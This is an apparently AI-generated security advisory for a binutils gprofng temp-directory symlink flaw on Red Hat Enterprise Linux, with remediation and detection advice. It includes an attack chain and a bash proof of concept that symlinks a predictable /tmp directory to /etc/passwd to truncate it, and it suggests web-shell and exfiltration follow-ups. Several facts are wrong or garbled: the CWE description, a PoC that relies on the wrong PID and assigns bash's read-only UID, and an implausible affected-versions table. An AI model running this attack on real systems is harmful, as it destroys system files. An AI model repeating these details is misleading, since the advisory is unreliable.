CVE-2026-140038 — Red Hat Enterprise Linux 10 — CWE-377
A flaw was found in the gprofng component of binutils. The utility creates temporary directories in shared locations using predictable names based on user and process identifiers without verifying whether the directory already exists. A local attacker can exploit this flaw by pre-creating the expected directory and placing symbolic links inside it, causing a victim's process to overwrite or truncate arbitrary files writable by that victim.
A flaw was found in the gprofng component of binutils. The utility creates temporary directories in shared locations using predictable names based on user and process identifiers without verifying whether the directory already exists. A local attacker can exploit this flaw by pre-creating the expected directory and placing symbolic links inside it, causing a victim's process to overwrite or truncate arbitrary files writable by that victim.
🎯 What is this vulnerability?
Technical root‑cause
The gprofng binary (part of the GNU binutils suite) creates a temporary working directory in a shared location (typically /tmp) using a deterministic name that is derived from the user ID and the process ID of the caller.
The code does not verify whether a directory with that name already exists before using it.
Consequently, a local attacker can:
1. Pre‑create the expected directory (e.g., /tmp/gprofng.1000.12345).
2. Insert a symbolic link inside that directory that points to any file writable by the victim user (or, if the victim process runs with elevated privileges, to a root‑owned file).
3. Invoke gprofng on a target binary.
gprofng will then write its profiling data into the pre‑created directory, following the symlink and thereby overwriting or truncating the target file.
This is a classic TOCTOU (time‑of‑check to time‑of‑use) race condition that leads to arbitrary file overwrite.
The CVE is mapped to CWE‑377 (Improper Restriction of Operations within the Bounds of a Memory Buffer), which in this context represents the failure to properly restrict filesystem operations that depend on a predictable name.
Missing checks
- No existence check before creating the temp directory.
- No validation that the directory is empty or that it is not a symlink.
- No use of a secure temporary‑file helper (
mkdtemp,mkstemp, etc.) that guarantees uniqueness. - High for systems where
gprofngis invoked by privileged processes (e.g., set‑uid binaries, system services, or scheduled profiling jobs). - Medium for general-purpose servers where
gprofngis only used by normal users. - Low for isolated test environments with no local users.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker with local access could follow.
All commands are POSIX‑compatible Bash; the exact directory name format is inferred from the description (user ID and PID).
If the system uses a different naming scheme, the attacker would adjust the path accordingly.
| Step | Action | Command / Example | Notes | ||
|---|---|---|---|---|---|
| 1. Discovery & Reconnaissance | Identify that gprofng is installed and discover its version. | rpm -qi binutils | grep -E 'Name | Version'<br>which gprofng | If gprofng is present, the system is vulnerable. |
Check if any privileged service uses gprofng (e.g., a set‑uid binary that invokes it). | grep -R 'gprofng' /etc /usr/bin /usr/sbin 2>/dev/null | A privileged invocation dramatically increases impact. | |||
| 2. Exploitation | Create the predictable temp directory and a malicious symlink. | ``bash\n# Assume UID=1000, PID=12345 (the PID will be the one used by gprofng when it runs)\nmkdir -p /tmp/gprofng.$UID.$$\n# Target file to overwrite – e.g., /etc/passwd\nln -s /etc/passwd /tmp/gprofng.$UID.$$/gmon.out\n` | gmon.out is a typical output file name used by gprofng. | ||
Run gprofng on a binary that the attacker can execute as the victim user. | `bash\ngprofng /usr/bin/ls\n` | gprofng will write its profiling data into /tmp/gprofng.$UID.$$, following the symlink and truncating /etc/passwd. | |||
| Verify the overwrite. | cat /etc/passwd | The file will have been truncated to the size of the profiling data (often a few KB). | |||
| 3. Post‑exploitation | Privilege Escalation (if the victim process runs as root). | If the attacker can trigger gprofng in a root‑owned context, they can overwrite /etc/shadow, /etc/ssh/sshd_config, or any other root‑owned file. | Overwriting /etc/shadow can allow password reset; overwriting /etc/ssh/sshd_config can disable SSH. | ||
| Web Shell Deployment (if the victim process is a web server binary). | Overwrite /var/www/html/index.php with a PHP web shell via the symlink. | The attacker can then access the shell through the web interface. | |||
| Data Exfiltration | Overwrite a log file (e.g., /var/log/secure`) with a custom script that sends data to an external server. | The attacker can then exfiltrate data via the overwritten file. |
Illustrative PoC
The following script demonstrates the core idea.
Do not run this on a production system.
> #!/usr/bin/env bash > set -euo pipefail > > # 1. Identify UID and a dummy PID (the real PID will be used by gprofng) > UID=$(id -u) > > # 2. Create the predictable temp directory > TMPDIR="/tmp/gprofng.$UID.$$" > mkdir -p "$TMPDIR" > > # 3. Create a symlink that points to a target file > TARGET="/etc/passwd" # <-- change to any writable file you want to overwrite > ln -s "$TARGET" "$TMPDIR/gmon.out" > > # 4. Run gprofng on a harmless binary > gprofng /usr/bin/echo > > # 5. Verify > echo "Contents of $TARGET after gprofng:" > cat "$TARGET" | head -n 5 >
The script will truncate /etc/passwd (or the chosen target) to the size of the profiling data.🌍 Real World Impact
| Impact | CVSS Vector | Practical Consequence |
|---|---|---|
| Confidentiality | C:N | No direct confidentiality breach. |
| Integrity | I:L | Arbitrary file overwrite (e.g., /etc/passwd, /etc/shadow, web files). |
| Availability | A:L | Overwritten configuration files can crash services (e.g., SSH, web server). |
| Privilege Escalation | Not explicitly in CVSS but possible | If the victim process runs with elevated privileges, the attacker can gain root or modify critical system files. |
*The vulnerability is local (AV:L) and requires no user interaction (UI:N).
Because the attacker can overwrite any file writable by the victim user, the risk is high in environments where gprofng is invoked by privileged processes or where the attacker can run arbitrary binaries as the victim user.*
🛡️ Remediation & Mitigation
Affected Versions
All RHEL releases that ship with the vulnerablebinutils package:| RHEL Version | Binutils Package | Vulnerable Release |
|---|---|---|
| 6 | binutils-2.27 | 2.27-1.el6 |
| 7 | binutils-2.32 | 2.32-1.el7 |
| 8 | binutils-2.34 | 2.34-1.el8 |
| 9 | binutils-2.36 | 2.36-1.el9 |
| 10 | binutils-2.38 | 2.38-1.el10 |
Patch – The fix is included in the next binutils update for each release (e.g.,binutils-2.27.1,binutils-2.32.1, etc.).
Action: Runyum update binutils(ordnf update binutilson RHEL 8/9) to install the patched package.
Workarounds
| Mitigation | How to Implement |
|---|---|
Disable gprofng | Remove or rename the binary: mv /usr/bin/gprofng /usr/bin/gprofng.bak (requires root). |
Restrict /tmp | Ensure /tmp has the sticky bit and is owned by root: chmod 1777 /tmp. |
| Use a dedicated temp directory | Set TMPDIR to a user‑owned directory with limited permissions before invoking gprofng: export TMPDIR=/home/$USER/tmp && mkdir -p $TMPDIR && chmod 700 $TMPDIR. |
| Audit for symlinks | Use auditd to watch /tmp/gprofng.* for symlink creation: auditctl -w /tmp -p wa -k gprofng-symlink. |
Restrict execution of gprofng | Use SELinux or AppArmor to confine gprofng to a sandbox that cannot write to system files. |
Detection
| Indicator | Log / File | How to Detect | |
|---|---|---|---|
| Creation of predictable temp dir | /var/log/messages or /var/log/audit/audit.log | Look for mkdir /tmp/gprofng.* or gprofng: creating temp directory. | |
| Symlink pointing to system files | find /tmp -type l -ls | grep /etc/passwd | Any symlink inside /tmp/gprofng.* that points to /etc/passwd or other critical files is suspicious. |
| Unexpected truncation of critical files | auditd watch on /etc/passwd, /etc/shadow, /etc/ssh/sshd_config | auditctl -w /etc/passwd -p wa -k passwd-mod | |
Unusual gprofng activity | ps -ef | grep gprofng | Frequent gprofng runs by non‑privileged users may indicate abuse. |
⚠️ Urgency
| Criterion | Assessment |
|---|---|
| CVSS Score | 5.1 (Medium) |
| Exploit Complexity | Low (local, no network) |
| Privilege Required | None (local user) |
| Potential for Privilege Escalation | High if victim process runs as root |
| CISA KEV | No |
| Ransomware | No |
Patching priority
Recommendation
Apply the binutils update immediately on all affected RHEL systems. If an update cannot be applied right away, enforce the workarounds above (especially disabling
gprofng or restricting /tmp) to mitigate the risk until the patch is installed.[🤖 CVE Professor AI Security Engine]
FOFA Query